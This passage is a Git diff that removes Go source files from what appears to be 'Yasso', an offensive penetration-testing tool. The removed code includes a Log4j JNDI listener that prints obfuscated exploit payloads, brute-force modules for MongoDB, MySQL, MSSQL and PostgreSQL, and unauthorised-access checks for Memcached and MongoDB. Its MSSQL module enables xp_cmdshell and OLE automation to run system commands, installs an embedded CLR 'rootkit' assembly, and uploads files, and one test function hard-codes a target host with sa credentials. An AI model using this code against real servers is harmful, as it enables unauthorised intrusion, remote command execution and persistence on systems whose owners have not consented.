Println(fmt.Sprintf("[!] create json file failed %v", err))
return
}
b, err := json.Marshal(&js)
if err != nil {
Println(fmt.Sprintf("[!] json marshal is failed %v", err))
return
}
_, _ = file.Write(b)
}

View File

@@ -1,109 +0,0 @@
package cmd
import (
"fmt"
"github.com/spf13/cobra"
"net"
"os"
"os/signal"
"strings"
"syscall"
)
/*
log4j扫描程序服务器,用来查看是否有漏洞
*/
var (
log4listenAddr string
)
var Log4jCmd = &cobra.Command{
Use: "log4j",
Short: "Open a socket listener to test log4J vulnerabilities offline",
Run: func(cmd *cobra.Command, args []string) {
if log4listenAddr == "" {
_ = cmd.Help()
}
t := strings.Split(log4listenAddr, ":")
if len(t) == 2 {
Println("Press ctrl+c to shutdown")
go Log4jCheckServer(t[0], t[1])
c := make(chan os.Signal, 1)
signal.Notify(c, os.Interrupt, syscall.SIGTERM)
<-c
Println("ctrl+c detected. Shutting down")
}
},
}
func init() {
Log4jCmd.Flags().StringVarP(&log4listenAddr, "bind", "b", "0.0.0.0:4568", "socket listen address")
}
func Log4j2HandleRequest(conn net.Conn) {
defer conn.Close()
buf := make([]byte, 1024)
num, err := conn.Read(buf)
if err != nil {
Println(fmt.Sprintf("accept data reading err %v", err))
_ = conn.Close()
return
}
hexStr := fmt.Sprintf("%x", buf[:num])
// LDAP 协议
if "300c020101600702010304008000" == hexStr {
Println(fmt.Sprintf("[LDAP] %s Finger:%s", conn.RemoteAddr().String(), hexStr))
return
}
if RMI(buf) {
Println(fmt.Sprintf("[RMI] %s Finger:%x", conn.RemoteAddr().String(), buf[0:7]))
return
}
}
//TODO: https://github.com/KpLi0rn/Log4j2Scan/blob/main/core/server.go
func RMI(data []byte) bool {
if data[0] == 0x4a && data[1] == 0x52 && data[2] == 0x4d && data[3] == 0x49 {
if data[4] != 0x00 {
return false
}
if data[5] != 0x01 && data[5] != 0x02 {
return false
}
if data[6] != 0x4b && data[6] != 0x4c && data[6] != 0x4d {
return false
}
lastData := data[7:]
for _, v := range lastData {
if v != 0x00 {
return false
}
}
return true
}
return false
}
func Log4jCheckServer(host string, port string) {
listen, err := net.Listen("tcp", fmt.Sprintf("%s:%s", host, port))
if err != nil {
Println("log4j listen server failed")
return
}
defer listen.Close()
//Println()(fmt.Sprintf("[Log4j2] Listen start on %s:%s",host,port))
Println("[payload]: ")
Println(fmt.Sprintf("==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}", host, port))
Println(fmt.Sprintf("==> ${${::-j}ndi:rmi://%v:%v/poc}", host, port))
Println(fmt.Sprintf("==> ${jndi:ldap://%v:%v/poc}", host, port))
Println("-----------------------------------")
for {
conn, err := listen.Accept()
if err != nil {
Println(fmt.Sprintf("accept failed %v", err))
continue
}
go Log4j2HandleRequest(conn)
}
}

View File

@@ -1,32 +0,0 @@
package cmd
import (
"fmt"
"os"
)
var FileName string
func Println(s string) {
fmt.Println(s)
file, err := os.OpenFile(FileName, os.O_APPEND|os.O_WRONLY, 0666)
defer file.Close()
if err != nil {
fmt.Println("[!] open log file failed", err)
return
}
_, _ = file.WriteString("\n" + s)
}
func CreateLogFile(filename string) {
FileName = filename
_, err := os.Stat(filename)
if err != nil {
file, err := os.Create(filename)
if err != nil {
fmt.Println("[!] create log file failed", err)
return
}
defer file.Close()
}
}

View File

@@ -1,39 +0,0 @@
package cmd
import (
"Yasso/config"
"bytes"
"fmt"
"time"
)
// 未授权
func MemcacheConn(info config.HostIn) (bool, error) {
client, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
return false, err
}
defer func() {
if client != nil {
client.Close()
}
}()
if err == nil {
err = client.SetDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err == nil {
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
if err == nil {
reply := make([]byte, 1024)
n, err := client.Read(reply)
if err == nil {
if bytes.Contains(reply[:n], []byte("STAT")) {
Println(fmt.Sprintf("[+] Memcached %s unauthorized", fmt.Sprintf("%s:%v", info.Host, info.Port)))
return true, nil
}
}
}
}
}
return false, err
}

View File

@@ -1,136 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"net"
"strings"
"gopkg.in/mgo.v2"
"time"
)
var MongoCmd = &cobra.Command{
Use: "mongo",
Short: "MongoDB burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
} else {
BruteMongoByUser()
}
},
}
func BruteMongoByUser() {
if BrutePort == 0 {
BrutePort = 27017
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("mongodb", UserDic, PassDic)
Println("[*] Brute Module [mongodb]")
Println("[*] MongoDB Authorized crack")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("mongodb", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
}
func MongoAuth(info config.HostIn, user, pass string) (*mgo.Session, bool, error) {
conf := &mgo.DialInfo{
Dial: func(addr net.Addr) (net.Conn, error) {
return GetConn(addr.String(), info.TimeOut)
},
Addrs: []string{fmt.Sprintf("%s:%d", info.Host, info.Port)},
Timeout: info.TimeOut,
Database: "test",
Source: "admin",
Username: user,
Password: pass,
PoolLimit: 4096,
Direct: false,
}
db, err := mgo.DialWithInfo(conf)
if err == nil {
err = db.Ping()
if err != nil {
return nil, false, err
}
//defer db.Close()
return db, true, nil
}
return nil, false, err
}
func MongoUnAuth(info config.HostIn, user, pass string) (bool, error) {
var flag = false
data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
connString := fmt.Sprintf("%s:%v", info.Host, info.Port)
conn, err := GetConn(connString, info.TimeOut)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return false, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return false, err
}
_, err = conn.Write(data1)
if err != nil {
return false, err
}
reply := make([]byte, 1024)
count, err := conn.Read(reply)
if err != nil {
return false, err
}
text := string(reply[0:count])
if strings.Contains(text, "ismaster") {
_, err = conn.Write(data2)
if err != nil {
return false, err
}
count, err := conn.Read(reply)
if err != nil {
return false, err
}
text := string(reply[0:count])
if strings.Contains(text, "totalLinesWritten") {
flag = true
Println(fmt.Sprintf("[+] Mongodb %v unauthorized", info.Host))
}
}
return flag, nil
}
func MongodbExec(session *mgo.Session) (string, error) {
var s string
dbs, err := session.DatabaseNames()
for _, db := range dbs {
if collections, err := session.DB(db).CollectionNames(); err == nil {
s += fmt.Sprintf("%s %v\n", db, collections)
}
}
if err != nil {
return "", err
}
return s, nil
}

View File

@@ -1,518 +0,0 @@
package cmd
import (
"Yasso/config"
"database/sql"
_ "embed"
"encoding/hex"
"fmt"
"github.com/cheggaaa/pb/v3"
_ "github.com/denisenkom/go-mssqldb"
"github.com/olekukonko/tablewriter"
"github.com/spf13/cobra"
"io/ioutil"
"math"
"os"
"strconv"
"strings"
"time"
)
/*
内网mssql数据库比较多可以完善一下clr和xp_cmdshell,spoacreate
*/
var (
HelpWarSQLKit int
InWarSQLKit int
UnWarSQLKit int
ExecuteMethod int
UploadFile []string
WarSQLKitCommand string
WarSQLCommand string
)
var MssqlCmd = &cobra.Command{
Use: "mssql",
Short: "SQL Server burst module and extend tools (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
} else {
MssqlBurpByUser()
}
},
}
var (
conn = new(setting)
)
func init() {
MssqlCmd.Flags().IntVar(&HelpWarSQLKit, "kithelp", 0, "print SQLKit Use help")
MssqlCmd.Flags().IntVar(&InWarSQLKit, "inkit", 0, "install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]")
MssqlCmd.Flags().IntVar(&UnWarSQLKit, "unkit", 0, "uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]")
MssqlCmd.Flags().StringVar(&WarSQLKitCommand, "cld", "", "Execute WarSQLKit Command (eg.) --cld \"whoami\"")
MssqlCmd.Flags().StringVarP(&WarSQLCommand, "sql", "s", "", "Execute sql command")
MssqlCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "Execute System command")
MssqlCmd.Flags().StringVar(&ConnHost, "hostname", "", "Remote Connect mssql address(brute param need false)")
MssqlCmd.Flags().StringVar(&LoginUser, "user", "sa", "Login ssh username")
MssqlCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
MssqlCmd.Flags().IntVar(&ExecuteMethod, "method", 1, "Execute System command method [1,xpshell] [2,oleshell]")
MssqlCmd.Flags().StringArrayVar(&UploadFile, "upload", nil, "Use ole upload file (.eg) source,dest")
}
func MssqlBurpByUser() {
if BrutePort == 0 {
BrutePort = 1433
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("mssql", UserDic, PassDic)
Println("[*] Brute Module [mssql]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("mssql", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" {
db, status, err := MssqlConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println(fmt.Sprintf("[!] Login mssql failed %v", err))
return
}
if db != nil && status == true {
conn.Setting(db)
switch {
case UnWarSQLKit > 0 && UnWarSQLKit <= 2:
conn.Uninstall_clr(UnWarSQLKit)
case InWarSQLKit > 0 && InWarSQLKit <= 2:
conn.Install_clr(InWarSQLKit)
case SQLCommand != "":
if ExecuteMethod == 1 {
Println("[+] Execute Method: xp_cmdshell")
conn.xp_shell(SQLCommand)
} else if ExecuteMethod == 2 {
Println("[+] Execute Method: ole echo")
conn.sp_shell(SQLCommand)
}
case HelpWarSQLKit > 0 && HelpWarSQLKit <= 2:
WarSQLKitHelp(HelpWarSQLKit)
case len(UploadFile) == 1:
filelist := strings.Split(UploadFile[0], ",")
if len(filelist) == 2 {
conn.UploadFile(filelist[0], filelist[1])
} else {
Println("[!] upload file only need 2 params")
}
break
case WarSQLKitCommand != "":
conn.WarSQLKitShell(WarSQLKitCommand)
case WarSQLCommand != "":
r, err := SQLExecute(conn.Conn, WarSQLCommand)
if err != nil {
return
}
for i, s := range r.Rows {
Println(s[i])
}
default:
conn.UnSetting()
}
}
}
}
//go:embed static/WarSQLKit.dll
var WarSQLKitName []byte
//go:embed static/SharpSQLKit.txt
var SharpSQLKit string
type setting struct {
Conn *sql.DB
Command string
}
func MssqlConn(info config.HostIn, user, pass string) (*sql.DB, bool, error) {
var flag = false
db, err := sql.Open("mssql", fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable", user, pass, info.Host, info.Port, info.TimeOut))
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
db.SetConnMaxIdleTime(time.Duration(info.TimeOut))
db.SetMaxIdleConns(0)
err = db.Ping()
if err == nil {
flag = true
return db, flag, nil
}
}
return db, flag, err
}
// 设置数据库连接
func (s *setting) Setting(conn *sql.DB) {
s.Conn = conn
}
func (s *setting) check_configuration(option string, value int) bool {
var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option)
r, err := SQLExecute(s.Conn, Command)
if err != nil {
return false
}
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
return true
}
return false
}
func (s *setting) set_configuration(option string, value int) bool {
// 设置
var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value)
_, err := SQLExecute(s.Conn, Command)
if err != nil {
return false
}
return s.check_configuration(option, value)
}
func (s *setting) set_permission_set() bool {
var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;")
Println("[+] ALTER DATABASE master SET TRUSTWORTHY ON")
_, err := SQLExecute(s.Conn, Command)
if err != nil {
Println("[!] ALTER DATABASE master SET TRUSTWORTHY ON Failed")
return false
}
return true
}
// 启用xp_cmdshell
func (s *setting) Enable_xp_cmdshell() bool {
if !s.set_configuration("show advanced options", 1) {
Println("[!] cannot ebable 'show advanced options'")
return false
}
if !s.set_configuration("xp_cmdshell", 1) {
Println("[!] cannot enable 'xp_cmdshell'")
return false
}
return true
}
// 关闭xp_cmdshell
func (s *setting) Disable_xp_cmdshell() bool {
if !s.set_configuration("show advanced options", 1) {
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("xp_cmdshell", 0) {
Println("[!] cannot disable 'xp_cmdshell'")
return false
}
if !s.set_configuration("show advanced options", 0) {
Println("[!] cannot disable 'show advanced options'")
return false
}
return true
}
func (s *setting) Enable_ole() bool {
if !s.set_configuration("show advanced options", 1) {
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("Ole Automation Procedures", 1) {
Println("[!] cannot enable 'Ole Automation Procedures'")
return false
}
return true
}
func (s *setting) Disable_ole() bool {
if !s.set_configuration("show advanced options", 1) {
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("Ole Automation Procedures", 0) {
Println("[!] cannot disable 'Ole Automation Procedures'")
return false
}
if !s.set_configuration("show advanced options", 0) {
Println("[!] cannot disable 'show advanced options'")
return false
}
return true
}
func (s *setting) sp_shell(Command string) bool {
if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
return false
}
var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v'
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'ReadAll', @str out
select @str`, Command)
Println(fmt.Sprintf("[+] Command: %v", Command))
r, err := SQLExecute(s.Conn, sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] exec ole command failed %v", err))
return false
}
for i, b := range r.Rows {
Println(b[i])
}
return true
}
func (s *setting) xp_shell(Command string) bool {
if s.set_configuration("xp_cmdshell", 0) && !s.Enable_xp_cmdshell() {
return false
}
Println(fmt.Sprintf("[+] Command: %v", Command))
var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command)
r, err := SQLExecute(s.Conn, sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] exec xp_cmdshell command failed %v", err))
return false
}
for _, b := range r.Rows {
Println(b[0])
}
return true
}
func WarSQLKitToHex() string {
return hex.EncodeToString(WarSQLKitName)
}
func (s *setting) CREATE_ASSEMBLY(flag int) bool {
var KitHex string
if flag == 1 {
Println("[+] SQLKit ==> WarSQLKit")
KitHex = WarSQLKitToHex()
} else if flag == 2 {
Println("[+] SQLKit ==> SharpSQLKit")
KitHex = SharpSQLKit
}
var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module]
AUTHORIZATION [dbo]
FROM 0x%s
WITH PERMISSION_SET = UNSAFE;`, KitHex)
_, err := SQLExecute(s.Conn, Command)
if err != nil {
Println(fmt.Sprintf("[!] Import the assembly failed %v", err))
return false
}
Println("[+] Import the assembly")
return true
}
func (s *setting) CREATE_PROCEDURE(flag int) bool {
var Command string
if flag == 1 {
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[sp_cmdExec] @cmd NVARCHAR (MAX), @result NVARCHAR (MAX) OUTPUT AS EXTERNAL NAME [CLR_module].[StoredProcedures].[CmdExec];`)
} else if flag == 2 {
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`)
}
_, err := SQLExecute(s.Conn, Command)
if err != nil {
Println(fmt.Sprintf("[!] Link the assembly to a stored procedure failed %v", err))
return false
}
Println("[+] Link the assembly to a stored procedure")
return true
}
func (s *setting) Install_clr(flag int) bool {
if !s.set_permission_set() {
return false
}
if !s.CREATE_ASSEMBLY(flag) {
return false
}
if !s.CREATE_PROCEDURE(flag) {
return false
}
Println("[+] Install SQLKit successful!")
Println("[+] Please Use SQL Connect Tools to Execute")
Println("[+] WarSQLKit Command Help --kithelp [1,2]")
return true
}
func (s *setting) Uninstall_clr(flag int) bool {
var Command string
if flag == 1 {
Println("[+] SQLKit ==> WarSQLKit")
Command = fmt.Sprintf(`drop PROCEDURE dbo.sp_cmdExec
drop assembly CLR_module`)
} else if flag == 2 {
Println("[+] SQLKit ==> SharpSQLKit")
Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec
drop assembly CLR_module`)
}
_, err := SQLExecute(s.Conn, Command)
if err != nil {
Println(fmt.Sprintf("[!] Uninstall SQLKit failed %v", err))
return false
}
Println("[+] Uninstall SQLKit successful!")
return true
}
func ReadFileToSplitHex(path string, splitLength int) []string {
data, err := ioutil.ReadFile(path)
if err != nil {
return []string{}
}
HexData := hex.EncodeToString(data)
var hexList []string
num := int(math.Ceil(float64(len(HexData) / splitLength)))
for i := 0; i < num; i++ {
hexList = append(hexList, HexData[i*splitLength:(i+1)*splitLength])
}
hexList = append(hexList, HexData[num*splitLength:])
// 返回分割好的list
return hexList
}
func (s *setting) UploadFile(source, dest string) {
Println(fmt.Sprintf("[+] Ole Upload File %s to %s", source, dest))
if s.set_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
Println("[!] setting Ole Automation or enable Ole failed")
return
}
var copyCommand = `copy /b`
var splitLength = 250000
Hexlist := ReadFileToSplitHex(source, splitLength)
bar := pb.StartNew(len(Hexlist))
for i, body := range Hexlist {
var text2 = fmt.Sprintf("%v_%v.config_txt", dest, i)
var sqlstr = fmt.Sprintf(`DECLARE @ObjectToken INT
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken, 'Type', 1
EXEC sp_OAMethod @ObjectToken, 'Open'
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x%s
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL,'%s', 2
EXEC sp_OAMethod @ObjectToken, 'Close'
EXEC sp_OADestroy @ObjectToken`, body, text2)
_, err := SQLExecute(s.Conn, sqlstr)
if err != nil {
Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading", dest, i))
return
}
if i == 0 {
copyCommand = copyCommand + ` "` + text2 + `"`
} else {
copyCommand = copyCommand + " +" + ` "` + text2 + `"`
}
time.Sleep(1000 * time.Millisecond)
if s.File_Exists(text2, 1) {
bar.Increment()
//Println()(fmt.Sprintf("[+] %s_%v.config_txt Upload completed",dest,i))
} else {
Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading", dest, i))
return
}
}
copyCommand = copyCommand + ` "` + dest + `"`
var shell = fmt.Sprintf(`
DECLARE @SHELL INT
EXEC sp_oacreate 'wscript.shell', @SHELL OUTPUT
EXEC sp_oamethod @SHELL, 'run' , NULL, 'c:\windows\system32\cmd.exe /c`)
_, err := SQLExecute(s.Conn, shell+copyCommand+"'")
if err != nil {
Println(fmt.Sprintf("%v", err))
return
}
Println("\n[+] copy file success")
time.Sleep(1000 * time.Millisecond)
if s.File_Exists(dest, 1) {
sqlstr := shell + fmt.Sprintf(`del %s*.config_txt`, dest) + "'"
_, err := SQLExecute(s.Conn, sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] del file failed %v", err))
return
}
Println(fmt.Sprintf("\n[+] %s Upload completed", source))
}
}
func (s *setting) File_Exists(path string, value int) bool {
var Command = fmt.Sprintf(`
DECLARE @r INT
EXEC master.dbo.xp_fileexist '%v', @r OUTPUT
SELECT @r as n`, path)
r, err := SQLExecute(s.Conn, Command)
if err != nil {
return false
}
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
return true
}
return false
}
func WarSQLKitHelp(flag int) {
table := tablewriter.NewWriter(os.Stdout)
table.SetHeader([]string{"SQL Command", "Introduce"})
table.SetRowLine(true)
var help [][]string
if flag == 1 {
help = config.WarKitHelp
} else if flag == 2 {
help = config.SharpKitHelp
}
for _, v := range help {
table.Append(v)
}
table.Render()
}
func (s *setting) UnSetting() {
s.Conn = nil
}
func (s *setting) WarSQLKitShell(cld string) {
var Command = fmt.Sprintf(`declare @shell varchar(8000);
EXEC sp_cmdExec '%v' ,@shell output
select @shell`, cld)
r, err := SQLExecute(s.Conn, Command)
if err != nil {
Println(fmt.Sprintf("[!] %v", err))
return
}
for i, s := range r.Rows {
Println(s[i])
}
}
func Test() {
db, status, err := MssqlConn(config.HostIn{Host: "192.168.248.128", Port: 1433, TimeOut: 1 * time.Second}, "sa", "admin@123")
if status == true && err == nil {
conn := new(setting)
conn.Setting(db)
conn.UploadFile(`C:\Users\Administrator\Desktop\fscan64.exe`, `1.exe`)
}
}

View File

@@ -1,112 +0,0 @@
package cmd
import (
"Yasso/config"
"context"
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/go-sql-driver/mysql"
_ "github.com/go-sql-driver/mysql"
_ "github.com/lib/pq"
"github.com/spf13/cobra"
"net"
"time"
)
var MysqlCmd = &cobra.Command{
Use: "mysql",
Short: "MYSQL burst module and extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
} else {
BruteMysqlByUser()
}
},
}
func BruteMysqlByUser() {
if BrutePort == 0 {
BrutePort = 3306
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("mysql", UserDic, PassDic)
Println("[*] Brute Module [mysql]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("mysql", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" {
if SQLCommand == "" && SQLShellBool == false {
Println("[*] try to add -C to exec sql command or -shell")
return
}
if SQLCommand != "" && SQLShellBool == false {
db, status, err := MySQLConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println("mysql conn failed")
return
}
if status == true {
r, err := SQLExecute(db, SQLCommand)
if err != nil {
Println(fmt.Sprintf("sql execute failed %v", err))
return
}
Println(r.String())
}
}
if SQLCommand == "" && SQLShellBool == true {
db, status, err := MySQLConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println("mysql conn failed")
return
}
if status == true {
SQLshell(db, "mysql")
}
}
}
}
func init() {
MysqlCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "mysql sql command")
MysqlCmd.Flags().StringVar(&ConnHost, "hostname", "", "Remote Connect a Mysql (brute param need false)")
MysqlCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username")
MysqlCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
MysqlCmd.Flags().BoolVar(&SQLShellBool, "shell", false, "create sql shell to exec sql command")
}
// mysql 连接
func MySQLConn(info config.HostIn, user, pass string) (*sql.DB, bool, error) {
var flag = false
address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", user, pass, info.Host, info.Port, time.Duration(info.TimeOut))
mysql.RegisterDialContext("tcp", func(ctx context.Context, network string) (net.Conn, error) {
return GetConn(network, info.TimeOut)
})
db, err := sql.Open("mysql", address)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
db.SetConnMaxIdleTime(time.Duration(info.TimeOut))
//defer db.Close()
err = db.Ping()
if err == nil {
flag = true
}
}
return db, flag, err
}

View File

@@ -1,59 +0,0 @@
package cmd
import (
"Yasso/config"
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/spf13/cobra"
"time"
)
var PostgreCmd = &cobra.Command{
Use: "postgres",
Short: "PostgreSQL burst module (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
} else {
BrutePostgreByUser()
}
},
}
func BrutePostgreByUser() {
if BrutePort == 0 {
BrutePort = 5432
}
var ips []string
var err error
if Hosts != "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("postgres", UserDic, PassDic)
Println("[*] Brute Module [postgres]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("postgres", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
}
func PostgreConn(info config.HostIn, user, pass string) (bool, error) {
var flag = false
db, err := sql.Open("postgres", fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", user, pass, info.Host, info.Port, "postgres", "disable"))
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
defer db.Close()
err = db.Ping()
if err == nil {
flag = true
}
}
return flag, err
}

153
cmd/ps.go
View File

@@ -1,153 +0,0 @@
package cmd
import (
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"math"
"net"
"strconv"
"strings"
"sync"
"time"
)
var (
DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,5985,6379,7001,3389,8000,8080,8089,9000,9200,11211,27017"
//AlivePort []PortResult
)
type PortResult struct {
IP string
Port []int
}
var PortCmd = &cobra.Command{
Use: "ps",
Short: "The port scanning module will find vulnerable ports (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
return
}
var ports []int
hosts, _ := ResolveIPS(Hosts) // 解析获取ip地址
if Ports != "" {
ports, _ = ResolvePORTS(Ports)
} else {
ports, _ = ResolvePORTS(DefaultPorts)
}
Println(fmt.Sprintf("Yasso resolve host len is %v,need scan %v port", len(hosts), len(hosts)*len(ports)))
if len(hosts) <= 0 || len(ports) <= 0 {
// resolve failed
return
}
var AlivePort []PortResult
AlivePort = PortScan(hosts, ports)
for _, rs := range AlivePort {
Println(fmt.Sprintf("%v %v", rs.IP, rs.Port))
}
},
}
func init() {
PortCmd.Flags().DurationVarP(&TimeDuration, "time", "t", 500*time.Millisecond, "Set timeout (eg.) -t 50ms(ns,ms,s,m,h)")
PortCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `Set `hosts`(The format is similar to Nmap) or ips.txt file path")
PortCmd.Flags().StringVarP(&Ports, "ports", "p", "", "Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389")
PortCmd.Flags().IntVarP(&Runtime, "runtime", "r", 100, "Set scanner ants pool thread")
rootCmd.AddCommand(PortCmd)
}
// port scanner
func PortScan(host []string, ports []int) []PortResult {
var tempPort []PortResult
var wg sync.WaitGroup
p, _ := ants.NewPoolWithFunc(len(host), func(ip interface{}) {
_ = ants.Submit(func() {
aport := EachScan(ip.(string), ports)
//Println()(aport)
if len(aport) != 0 {
// 扫描完成,加入扫描结果队列
tempPort = append(tempPort, PortResult{ip.(string), aport})
} // 将ip赋值给AlivePort*/
wg.Done()
})
})
for _, ip := range host {
if strings.Contains(ip, ":") {
addr := strings.Split(ip, ":")[0]
port, _ := strconv.Atoi(strings.Split(ip, ":")[1])
if portConn(addr, port) {
Println(fmt.Sprintf("[+] %v %v open", addr, port))
tempPort = append(tempPort, PortResult{addr, []int{port}})
}
} else {
wg.Add(1)
_ = p.Invoke(ip)
}
}
wg.Wait()
return tempPort
}
func EachScan(host string, ports []int) []int {
var aport []int
var wg sync.WaitGroup
// 计算一个协程需要扫描多少端口
var thread int
// 如果端口数小于协程数量,thread为端口数量
if len(ports) <= Runtime {
thread = len(ports)
} else {
// 计算端口数量
thread = Runtime // 协程数量
}
num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量
// 分割端口
all := map[int][]int{}
for i := 1; i <= thread; i++ {
for j := 0; j < num; j++ {
tmp := (i-1)*num + j
if tmp < len(ports) {
all[i] = append(all[i], ports[tmp])
}
}
}
//Println()(all)
for i := 1; i <= thread; i++ {
wg.Add(1)
tmp := all[i]
_ = ants.Submit(func() {
// 1,2 2,3
//Println()(i,thread)
for _, port := range tmp {
// 遍历每一个端口列表
if portConn(host, port) {
